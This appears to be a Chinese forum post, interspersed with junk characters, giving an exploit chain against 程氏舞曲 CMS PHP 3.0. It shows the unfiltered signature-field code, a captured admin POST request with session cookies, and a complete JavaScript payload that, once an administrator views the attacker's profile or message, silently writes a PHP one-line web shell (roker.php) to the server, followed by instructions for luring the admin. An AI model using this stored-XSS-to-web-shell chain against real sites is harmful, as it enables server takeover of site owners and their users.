程氏舞曲CMSPHP3.0 储存型xss getshell

admin

这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题 官网已经修补了，所以重新下了源码 ; X0 A0 k# j  w* t# c因为 后台登入 还需要认证码 所以 注入就没看了。 存在 xss 漏洞文件 user/member/skin_edit.php : e$ S' y' |5 P9 z本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名：    </span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?> 6 V2 n! |* D8 o9 ]: M   </textarea></td></tr> : A7 r6 f2 z! `, |6 Q! A& u& T   9 X% W! V% K9 t             user/do.php   P2 S% e: B7 t& s) w/ \' C$ v if($op=='zl'){ //资料 9 a: ^) A. S8 m( C     d) R. v* E- z             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))              exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));      K5 q1 \3 c, V# W             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',    - G  ]+ x; [: f! m' b% D, R             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."' / C. y( Y# J7 i0 W4 m7 J% o+ V             where CS_Name='".$cscms_name."'"; 2 Z2 P* L" o! W% p   % @; Y% c' r6 S$ v# o5 h             if($db->query($sql)){                  exit(Msg_Error('恭喜您，修改成功了!','javascript:history.go(-1);')); / n* p7 l! [% B; R7 y   1 Q9 d- t; r9 K+ z( V             }else{ . K& W4 ~7 i' f/ H# N, R: f/ F   # s3 l- `/ |1 p              exit(Msg_Error('抱歉，修改失败了!','javascript:history.go(-1);'));                 } " W$ E" G) U/ h' m   T1 [. C1 c% U! \- q没有 过滤导致xss产生。 后台 看了下 很奇葩的是可以写任意格式文件。。 抓包。。 4 h0 s" I; ?2 g- p/ e; h8 \本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1      M6 c9 k% t0 J& g8 O9 t# HAccept: text/html, application/xhtml+xml, */* , K% |+ }1 c! m1 d) ?   Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php    Accept-Language: zh-CN 8 @" R; _% j: w( y, f   User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)    Content-Type: application/x-www-form-urlencoded    & p0 P$ C* X+ e% M" b: W' b0 ]Accept-Encoding: gzip, deflate    $ n( i7 M; B) ]* {' p! Q% mHost: 127.0.0.1    Content-Length: 38   E' H+ ^" `. a) ?# s   DNT: 1    Connection: Keep-Alive    Cache-Control: no-cache % `7 t7 b0 J/ K, Z+ @3 _   Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594 0 h$ n( S% b/ R6 u; J8 u/ l% [7 \   3 H2 p) Q$ ^% |- h& ~" Z9 V, h4 cname=aaa.php&content=%3Cs%3E%3Ca%25%3E & ~2 g, ?0 [$ t% A; Z. s9 K' q于是 构造js如下。 本帖隐藏的内容<script> 5 N! z5 e$ ]+ L$ athisTHost = top.location.hostname;    & ~6 p; H) R  D  z. VthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";    function PostSubmit(url, data, msg) { # W4 `7 t, s. Z. A' C  s" z    var postUrl = url;        var postData = data; 4 `- ]0 w5 y9 `. @- S3 C' Z5 N    var msgData = msg; 9 o: h# [6 `  j  a# p% J% @/ l" r. A    var ExportForm = document.createElement("FORM"); " `2 V% c8 _" v+ x# U* J    document.body.appendChild(ExportForm);     ExportForm.method = "POST";     var newElement = document.createElement("input");     newElement.setAttribute("name", "name"); ) z$ J  j  `3 v0 j* p4 O$ a    newElement.setAttribute("type", "hidden"); 3 T8 d$ D1 T8 T9 H" c    var newElement2 = document.createElement("input"); ' o+ G# j+ N) N3 t, n    newElement2.setAttribute("name", "content");     newElement2.setAttribute("type", "hidden");     ExportForm.appendChild(newElement);     ExportForm.appendChild(newElement2); 0 M# X' h- A$ x) S. u    newElement.value = postData; $ D$ R* O, C" s; D: b% h4 x7 q    newElement2.value = msgData; 7 Z; Z0 ~9 Z; U* L2 l# P3 i    ExportForm.action = postUrl; ) m+ G  V7 T5 A+ n    ExportForm.submit(); / O1 G5 J$ W; A) W: Y/ N};    + N! B( |/ X. y' a0 Q0 pPostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");    </script> 2 ]2 F) d* ~& ?2 C: X6 V + O3 a, {& ^3 W  P, w6 V& P + Y( K, x& o  G& i: I6 E 3 {6 Q/ ^6 j! m+ }9 bhttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入 * D) c& K' D8 Z7 W用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2（uid自己改）   O, `) `3 v/ P/ x# n8 t就会 在 skins\index\html\目录下生成 roker.php 一句话。

$ O" }" e7 j4 ^" r